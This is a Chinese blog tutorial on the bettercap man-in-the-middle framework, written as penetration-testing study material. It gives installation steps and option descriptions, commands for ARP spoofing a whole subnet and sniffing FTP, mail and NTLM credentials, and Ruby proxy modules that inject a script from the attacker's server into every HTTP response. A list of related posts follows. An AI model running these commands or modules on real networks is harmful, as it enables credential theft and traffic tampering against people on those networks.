中间人攻击利用框架bettercap测试

强大的中间人攻击工具(Bettercap) 目录前言安装常用功能及模块介绍实战应用ARP欺骗 前言 提到中间人攻击,最知名的莫过于ettercap,这是kali下一款优秀的ARP欺骗工具,但是它自从2015年开始就没有更新了,同时在大型网络环境中ettercap的主机发现以及欺骗功能效果较差,于是就诞生了bettercap。Bettercap是一个非常强大、灵活可移植的中间人攻击框架,它具有跨平台、轻量级以及模块化等优点,在渗透测试过程中能... 阅读详情

0x00前言


上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap

0x01简介


bettercap可用来实现各种中间人攻击,模块化,便携、易扩展

0x02特点


提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 原因如下:

1、ettercap很成功,但在新时代下它已经老了 2、ettercap的过滤器复杂,使用门槛高 3、在大型网络下,主机发现功能效果很差 4、优化不够,对研究人员来说,无用的功能太多 5、扩展性不够,开发需要掌握C/C++语言

0x03测试环境搭建


kali linux:

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

如果报错,如图:

 

执行如下命令:

sudo apt-get install ruby-dev libpcap-dev
sudo gem install bettercap*.gem   

最后成功,如图:

 

0x04参数说明


已做翻译并加入个人理解

用法:

-I, --interface IFACE 指定Network interface name,默认eth0

-S, --spoofer NAME 指定欺骗模块,此参数默认为ARP,目前仅支持ARP,新版本会添加更多选项

-T, --target ADDRESS 指定单一ip,如果未设置,则代表所有子网,子网所有主机自动扫描,简单高效,十分推荐
-O, --log LOG_FILE 日志功能

-D, --debug 调试功能,会将每一步操作详细记录,便于调试

-L, --local 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭

-X, --sniffer 开启嗅探器. --sniffer-pcap FILE 将数据包保存为PCAP文件,可用Wireshark打开(此操作会开启嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)

-P, --parsers PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 --no-discovery 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 --no-spoofing 关闭欺骗模块,也可以使用参数--spoofer NONE代替 --proxy 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 --proxy-port PORT 设置HTTP代理端口,此参数默认为8080 --proxy-module MODULE 指定加载的Ruby模块 --httpd 开启HTTP服务器,此参数默认为关闭 --httpd-port PORT 指定HTTP server port, 此参数默认为8081. --httpd-path PATH 指定HTTP server path,此参数默认为 ./.

-h, --help 英文帮助

0x05功能测试


1、HOST DISCOVERY + ARP MAN IN THE MIDDLE

sudo bettercap -X

扫描全部内网主机,傻瓜式操作,自动扫描并进行arp欺骗,使所有流量经过本机,如图 

2、CREDENTIALS SNIFFER

抓取流量中有价值的信息,包括:

URLs being visited.
HTTPS host being visited.
HTTP POSTed data.
HTTP Basic and Digest authentications.
FTP credentials.
IRC credentials.
POP, IMAP and SMTP credentials.
NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.

用法举例:

默认傻瓜模式,开启所有功能:

sudo bettercap -X

如图为抓到的163邮箱登陆数据

 

指定抓取的数据包:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

如图为抓到192.168.40.146的FTP

 

3、MODULAR TRANSPARENT PROXY

代理功能,可以拦截篡改HTTP流量

用法举例:

开启代理功能:

sudo bettercap --proxy

开启代理功能并指定端口:

sudo bettercap --proxy --proxy-port=8081

关闭arp欺骗,只开启代理

sudo bettercap -S NONE --proxy

开启代理功能并加载指定的Ruby模块

sudo bettercap --proxy --proxy-module=hack_title.rb

Ruby参考示例:

class HackTitle < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
    end
  end
end

功能为替换所有html的标题选项

4、BUILTIN HTTP SERVER

内置HTTP SERVER功能,可篡改HTTP响应包内容

用法举例:

在网络的每一个HTTP响应中注入JS文件

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

Ruby参考示例:

class InjectJS < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.iface[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' 

type='text/javascript'></script>" )
    end
  end
end

0x06测试心得


亮点:

中间人攻击利用框架的开发,便携,安装简单 整合了各种常用功能,功能模块化,自动欺骗攻击,提高效率 极大降低了工具的使用和开发门槛

不足:

目前只支持arp欺骗,功能仍需完善。
暂不支持windows

0x07总结


之前我用过c++开发arp欺骗&中间人攻击的程序,个人认为arp欺骗的成功与否关键在于ARP缓存表的修改,锁定ARP缓存表目前就能防御bettercap基于arp的中间人攻击 但我相信,bettercap的前景十分广阔。

0x08补充


bettercap下载地址:

http://www.bettercap.org/

水平有限,欢迎补充。

bettercap -- ARP欺骗功能 当你想给你的朋友发送消息时,你的电脑会发送一个广播请求,询问谁拥有你朋友的IP地址对应的MAC地址。你朋友的电脑会收到这个请求,并回复你的电脑,告诉你它的MAC地址是什么。这样,当你发送消息给你的朋友时,你的电脑会误认为攻击者的电脑是你朋友的电脑,将消息发送给了攻击者。换句话说,ARP欺骗就像是有人冒充你的朋友,站在你和你朋友之间,窃听并篡改你们之间的对话。set arp.spoof.targets 192.168.x.x,192.168.x.xxx#设置arp欺骗的目标,这里欺骗的是网关和目标机器。 阅读详情

相关推荐

Linux下中间人攻击利用框架bettercap测试

0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携、易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 原因如下: 1、ettercap很成功,但在新时代下它已经老了 2、ettercap的过滤器复杂,使用门槛高 3、在大型网络下,主机发现功能效果很差 4、优化

h4ck0ne的博客 1113

bettercap

Bettercap是一个非常强大、灵活可移植的中间人攻击框架,它具有跨平台、轻量级以及模块化等优点,在渗透测试过程中能够非常好的进行中间人测试。 在Kali Linux上可以通过apt install bettercap直接安装 实验环境: 攻击机kali :192.168.1.128 win7:192.168.1.133 网关:192.168.1.2 kali安装: apt-get install bettercap 最新版本的有点问题 【版本你自己选】 apt-cache madison soft_

qq_44881113的博客 3203

Xerosploit渗透测试框架:基于Bettercap的MITM攻击实战解析

中间人攻击(MITM)是网络安全领域的一项基础且关键的渗透测试技术,它通过劫持并操纵网络通信流量,实现对目标系统的信息窃取或会话控制。其核心原理在于利用ARP欺骗、DNS劫持等手段,在客户端与服务器之间插入攻击节点,从而实现对明文或加密流量的拦截与篡改。这项技术的工程价值在于能够高效验证网络协议安全性和应用层防护机制的有效性,广泛应用于内网安全评估、漏洞验证和红蓝对抗演练等场景。本文聚焦于基于Bettercap的模块化渗透测试框架Xerosploit,深入剖析其如何将复杂的ARP欺骗、流量劫持和会话注入等攻

weixin_29323365的博客 290

ARP欺骗技术:ARP欺骗工具介绍_(7).ARP欺骗工具介绍

在ARP欺骗技术的实际应用中,有许多工具可以帮助攻击者实施攻击。这些工具通常具有不同的功能和使用场景,但它们的共同目标是通过操纵ARP表来实现中间人攻击、拒绝服务攻击等。除了使用现成的工具,你还可以编写自定义的ARP欺骗脚本来实现更复杂的攻击场景。以下是一个使用Python和Scapy库的示例脚本。ARP欺骗是一种通过操纵ARP表来实现中间人攻击、拒绝服务攻击等的技术。

chenlz2007的博客 2498

10、网络安全工具:Bettercap 与 Web 应用测试工具全解析

本文详细解析了网络安全工具Bettercap及其在中间人攻击和无线攻击中的应用,同时介绍了多种Web应用测试工具,如Amass、Cadaver、Dirb等,并探讨了工具的使用场景、流程、注意事项以及未来发展趋势,为网络安全测试提供了全面的指导。

u0v1w2x3的博客 228

Ruby-bettercap:模块化MITM攻击框架实战指南

在数字世界中,安全性是一项关键的需求。在诸多安全威胁之中,中间人攻击(Man-In-The-Middle,MITM)尤为引人关注。中间人攻击MITM是一种网络攻击技术,攻击者利用各种手段将自己置于通信的双方之间,从而能够窃听、篡改和控制数据交换。这种攻击方式不仅能够截获敏感信息,还能注入恶意数据,威胁数据的完整性和安全性。本章将带你深入了解MITM攻击的基本原理、攻击流程以及它的不同表现形式。我们还会探讨MITM攻击的应对策略和防御方法,帮助你提高网络安全防范意识,减少网络攻击带来的损失。

weixin_35757531的博客 1015

BW16+ESP32-S3构建高精度便携式EEG采集链路

脑电图(EEG)是一种典型的微伏级生物电信号,其可靠采集依赖于模拟前端精度、时间同步性与低功耗无线传输的协同优化。传统MCU直接ADC采样+BLE转发方案易受电源噪声、时钟抖动和协议栈延迟影响,导致α波等关键节律失真。本文聚焦嵌入式端EEG信号链工程实践,以BW16(BL602)为前端主控,利用其集成PGA与可配时钟实现200Hz等间隔采样;结合ESP32-S3(CYD)作为中心网关,通过硬件FFT加速、双核任务隔离与确定性BLE连接参数配置,保障原始数据的时间戳对齐与实时预处理。技术价值在于突破低成本平台

weixin_33841503的博客 430

国土变更调查中六类拓扑错误的成因分析与高效修复实践

本文深入分析了国土变更调查中六类拓扑错误的成因,包括边界不一致和不规则图形等常见问题,并提出了高效的自动化修复实践。通过智能咬合算法、引力-斥力平衡模型等核心技术,显著提升了修复效率,节省人工质检时间70%。文章还分享了实战中的避坑指南和黄金法则,为相关从业人员提供了宝贵经验。

weixin_29202213的博客 359

转:中间人攻击利用框架bettercap测试

0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携、易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 原因如下: 1、ettercap很成功,但在新时代下它已经老了 2、ettercap的过滤器...

weixin_34253126的博客 284

从生成到检测:全面解析Deepfake技术的演进与对抗策略

本文全面解析了Deepfake技术的演进与对抗策略,从GAN生成技术到先进的检测手段,探讨了其在娱乐与安全领域的双重影响。文章详细介绍了Deepfake的核心原理、技术迭代关键节点以及最新的检测方法,揭示了AI生成与识别的激烈博弈。同时,展望了量子计算和生物特征认证在未来攻防战中的潜在应用。

jenkins8butler的博客 255

初识数据结构之入门必懂——线性表(顺序表)

本文将介绍数据结构中的线性表与线性表中最简单的结构——顺序表

m0_64705485的博客 905

PRISM-AP:无线安全测试的利器

PRISM-AP:无线安全测试的利器 在无线网络日益普及的今天,保障网络安全显得尤为重要。对于安全研究人员和IT专业人员而言,PRISM-AP正是这样一个强大且不可或缺的工具,它自动化了Wireless RogueAP中间人攻击框架,将无线网络的安全检测提升到了一个新的高度。 项目技术剖析 PRISM-AP的设计巧妙地利用了MANA Attack套件,这一招数可以比喻成电子世界的“蜜罐”,它能有...

gitblog_00047的博客 418

从厘米级到公里级:北斗网格10级精度在ArcPro中的完整应用指南

本文提供了北斗网格十级精度体系在ArcGIS Pro中的完整应用指南。详细解析了从660公里到1.5厘米的十级网格尺度及其编码逻辑,并重点演示了如何在ArcPro中生成网格、计算编码,以及根据项目需求(如滑坡监测)选择合适精度层级的实战策略。指南旨在帮助GIS专业人士利用这套统一的网格框架,高效管理多尺度空间数据并优化分析工作流。

Black的专栏 473

openclaw SOUL.dev 模板详解:用 C-3PO 人格文件为 `--dev` 模式打造调试智能体

SOUL.dev.md 是 openclaw 为 `--dev` 调试模式预置的"灵魂"模板——它把调试陪伴智能体 C-3PO(Clawd's Third Protocol Observer)的角色设定固化为一套可注入工作区的提示词文件。读完本文,你将掌握该模板的完整结构、它与 `SOUL.md` / `IDENTITY.dev.md` / `AGENTS.dev.md` 的协作关系,以及 ope

gitblog_00313的博客 640

小白学习微信小程序的图像识别和文字识别技术

其中,type参数指定了识别的类型,imageUrl参数指定了图片的地址,success回调函数用于处理识别成功的结果,fail回调函数用于处理识别失败的情况。其中,type参数指定了识别的类型,imageUrl参数指定了图片的地址,success回调函数用于处理识别成功的结果,fail回调函数用于处理识别失败的情况。下面,我们来实现一个文字识别的应用案例,可以识别一张图片中的文字,并将识别结果显示到小程序的页面上。在小程序中,也可以使用微信提供的文字识别接口,实现文字识别的功能开发。

qq_67153941的博客 1643

【2022】人工智能☆✨

1. 朴素⻉叶斯⽅法是⼀种 ( ) ⽅法。A.机器学习的分类B.不确定性推理C.知识表示答案:A解析:朴素贝叶斯分类器是基于贝叶斯定理与特征条件独立假设的分类方法。它通过学习训练数据集来预测未知数据的类别标签,因此属于机器学习中的监督学习分类方法。选项B不确定性推理和选项C知识表示虽然与朴素贝叶斯方法有一定的关联,但它们并不是朴素贝叶斯方法的主要应用领域或定义特性。2. 关于启发式搜索描述正确的是 ( )。

super_mochi1 402

【kali渗透测试】中间人攻击

【kali渗透测试】中间人攻击

liuwanqing233333的博客 715

别再只当调包侠了!YOLO检测头到损失函数全链路拆解,看完才算真懂

YOLO的精妙不在于某个单一创新,而在于各模块围绕“实时精准检测”这一目标的协同设计。Backbone追求高效特征压缩,Neck保障多尺度信息流通,Head解耦任务冲突,Loss动态引导优化方向。只有理解这套内在逻辑,才能跳出“调包-试错”的低效循环,在面对新场景、新问题时做出有理有据的改进决策。技术深度决定职业天花板。下次再调YOLO时,不妨先问自己:我改的这个参数,到底影响了系统中的哪一环?参考资料。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 186

局域网WiFi中间人窃听工具Bettercap

你随意连接的免费Wifi,可能利用Bettercap在窃听你的所做所为

KivenMit的博客 831

Test-Time Adaptation Induces Stronger Accuracy and Agreement-on-the-Line

TTA不管是否提高了OOD的泛化性都增强了线性的趋势,TTA的初始目的是为了增强OOD的表现,一个人可能会觉得TTA使得ACL更强的原因是他消除了ID和OOD之间的差距,因此所有模型间ID vs OOD的准确率接近于y=x这条线,但是实际上这个解释不能够反映我们的经验发现,因为虽然TTA将分布之间的偏移简化为一种放缩的分布,但是这个放缩的因子幅值可能很大,也就是α<<1但是r>>1,这就会导致很偏离y=x这条线,而且理论分析也是,虽然ID和OOD的差距很大,但是线性关系还在。

m0_62673638的博客 148

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

的过滤器使用变量_中间人攻击之Bettercap工具使用

注:本文仅供参考学习0x01 Bettercap 简介0x02 Bettercap 模块与基本命令0x03 Bettercap 嗅探模块0x04 Bettercap arp欺骗0x05 Bettercap 注入js0x06 Bettercap 加载脚本0x07 Bettercap dns欺骗0x08 Bettercap https嗅探0x01 Bettercap简介Bettercap是一...

weixin_31736005的博客 874

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

实战复盘:一次内网渗透测试中,我是如何用Arpspoof+BETTERCAP完成中间人攻击并获取敏感信息的

本文深度解析了内网渗透测试中基于ARP欺骗的中间人攻击技术,详细介绍了如何利用Arpspoof和BETTERCAP工具实现流量劫持并获取敏感信息。通过实战案例,展示了从环境搭建、高级ARP欺骗技术实现到敏感信息获取的全过程,并提供了企业级防御策略,帮助安全工程师提升内网防护能力。

weixin_33743661的博客 278

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

GitHub 被中间人攻击了?中间人攻击是什么?

26 日-27 日,国内无法访问 GitHub(从国外访问正常,并且显示证书颁发者不同于国内),同时京东等网站也相继出现同一问题。目前受影响的主要是部分地区用户,中国移动、中国联通、中国电信以及教育网均可复现该问题。 目前 GitHub 的访问已经恢复正常,但 GitHub 官方还未就此事说明情况。 根据各路网友的分析,GitHub 遭受了中间人攻击,具体手段还未明,但这很有可能是基于 D...

ABCCloud的博客 1330
上一篇: Linux | CentOS 7单机快速安装OpenStack
下一篇: arpspoof and dnsspoof
THMAIL
博客等级 码龄10年 2435粉丝 432原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值